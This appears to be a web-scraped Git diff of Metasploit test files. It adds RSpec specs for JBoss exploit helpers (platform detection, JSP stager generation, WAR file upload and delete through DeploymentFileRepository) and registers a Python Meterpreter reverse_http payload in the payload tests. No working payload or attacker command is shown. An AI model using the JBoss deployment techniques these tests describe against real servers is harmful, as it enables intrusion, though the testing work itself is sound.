context 'when server returns 200' do
|
||||
let(:res_code) { 200 }
|
||||
it { expect(subject.query_serverinfo()).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
end
|
||||
|
||||
describe "#detect_plateform" do
|
||||
context "when server arch is Linux" do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = "<td>OSName: Linux</td>"
|
||||
it { expect(subject.detect_platform(res)).to eq "linux" }
|
||||
end
|
||||
|
||||
context "when server arch is Windows" do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = "<td>OSName: Windows</td>"
|
||||
it { expect(subject.detect_platform(res)).to eq "win" }
|
||||
end
|
||||
|
||||
context "return nil if no OS match" do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = "<td>OSName: Blah</td>"
|
||||
it { expect(subject.detect_platform(res)).to be_nil }
|
||||
end
|
||||
|
||||
context "return nil res is nil" do
|
||||
res = nil
|
||||
it { expect(subject.detect_platform(res)).to be_nil }
|
||||
end
|
||||
end
|
||||
|
||||
describe "#detect_architecture" do
|
||||
context "when server arch is x86" do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = "<td>OSArch: i386</td>"
|
||||
it { expect(subject.detect_architecture(res)).to eq ARCH_X86 }
|
||||
end
|
||||
|
||||
context "return nil if no architecture match" do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.body = "<td>OSArch: Blah</td>"
|
||||
it { expect(subject.detect_architecture(res)).to be_nil }
|
||||
end
|
||||
|
||||
context "return nil res is nil" do
|
||||
res = nil
|
||||
it { expect(subject.detect_architecture(res)).to be_nil }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -17,7 +17,7 @@ describe Msf::HTTP::JBoss::BeanShellScripts do
|
|||
it { expect(subject.generate_bsh(:create, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
||||
end
|
||||
|
||||
context "when :create type is used" do
|
||||
context "when :delete type is used" do
|
||||
it { expect(subject.generate_bsh(:delete, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
#-*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/http/jboss'
|
||||
|
||||
describe Msf::HTTP::JBoss::DeploymentFileRepositoryScripts do
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend Msf::HTTP::JBoss
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
describe "#stager_jsp_with_payload" do
|
||||
it "returns the JSP stager" do
|
||||
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('System.getProperty("jboss.server.home.dir");')
|
||||
end
|
||||
|
||||
it "uses the provided application name" do
|
||||
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"/deploy/management/" + "metasploit.war";')
|
||||
end
|
||||
|
||||
it "uses the provided payload" do
|
||||
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"payload";')
|
||||
end
|
||||
end
|
||||
|
||||
describe "#head_stager_jsp" do
|
||||
it "returns the head JSP stager" do
|
||||
expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('System.getProperty("jboss.server.home.dir");')
|
||||
end
|
||||
|
||||
it "uses the provided base name" do
|
||||
expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('"/deploy/management/" + "stager_base.war/"')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,91 @@
|
|||
#-*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/http/jboss'
|
||||
|
||||
describe Msf::HTTP::JBoss::DeploymentFileRepository do
|
||||
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend Msf::HTTP::JBoss
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
|
||||
let (:base_name) do
|
||||
'dir_blah'
|
||||
end
|
||||
|
||||
let (:jsp_name) do
|
||||
'file_blah'
|
||||
end
|
||||
|
||||
let (:content) do
|
||||
'<%@page import="java.io.*%>'
|
||||
end
|
||||
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
case res_code
|
||||
when nil
|
||||
res = nil
|
||||
when 401
|
||||
res = Rex::Proto::Http::Response.new(401, "Authentication required")
|
||||
when 404
|
||||
res = Rex::Proto::Http::Response::E404.new
|
||||
when 200
|
||||
res = Rex::Proto::Http::Response::OK.new
|
||||
else
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = res_code
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
describe "#upload_file" do
|
||||
context 'when server timeouts' do
|
||||
let (:res_code) { nil }
|
||||
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_nil }
|
||||
end
|
||||
|
||||
context 'when server returns a 200 response' do
|
||||
let (:res_code) { 200 }
|
||||
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when server returns a 404 response' do
|
||||
let (:res_code) { 404 }
|
||||
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when server returns a 401 response' do
|
||||
let (:res_code) { 401 }
|
||||
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
end
|
||||
|
||||
describe "#delete_file" do
|
||||
context 'when server timeouts' do
|
||||
let (:res_code) { nil }
|
||||
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_nil }
|
||||
end
|
||||
|
||||
context 'when server returns a 200 response' do
|
||||
let (:res_code) { 200 }
|
||||
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when server returns a 404 response' do
|
||||
let (:res_code) { 404 }
|
||||
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
|
||||
context 'when server returns a 401 response' do
|
||||
let (:res_code) { 401 }
|
||||
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1837,6 +1837,16 @@ describe 'modules/payloads', :content do
|
|||
reference_name: 'python/meterpreter/bind_tcp'
|
||||
end
|
||||
|
||||
context 'python/meterpreter/reverse_http' do
|
||||
it_should_behave_like 'payload can be instantiated',
|
||||
ancestor_reference_names: [
|
||||
'stagers/python/reverse_http',
|
||||
'stages/python/meterpreter'
|
||||
],
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'python/meterpreter/reverse_http'
|
||||
end
|
||||
|
||||
context 'python/meterpreter/reverse_tcp' do
|
||||
it_should_behave_like 'payload can be instantiated',
|
||||
ancestor_reference_names: [
|
||||
|
|
|
@ -62,15 +62,15 @@ File.open('log/untested-payloads.log') { |f|
|
|||
$stderr.puts
|
||||
$stderr.puts " context '#{reference_name}' do\n" \
|
||||
" it_should_behave_like 'payload can be instantiated',\n" \
|
||||
" ancestor_reference_name: ["
|
||||
" ancestor_reference_names: ["
|
||||
|
||||
ancestor_reference_names = options[:ancestor_reference_names]
|
||||
|
||||
if ancestor_reference_names.length == 1
|
||||
$stderr.puts " '#{ancestor_reference_names[0]}'"
|
||||
else
|
||||
$stderr.puts " '#{ancestor_reference_names[0]}',"
|
||||
$stderr.puts " '#{ancestor_reference_names[1]}'"
|
||||
$stderr.puts " '#{ancestor_reference_names[1]}',"
|
||||
$stderr.puts " '#{ancestor_reference_names[0]}'"
|
||||
end
|
||||
|
||||
$stderr.puts " ],\n" \
|
||||
|
|
Loading…
Reference in New Issue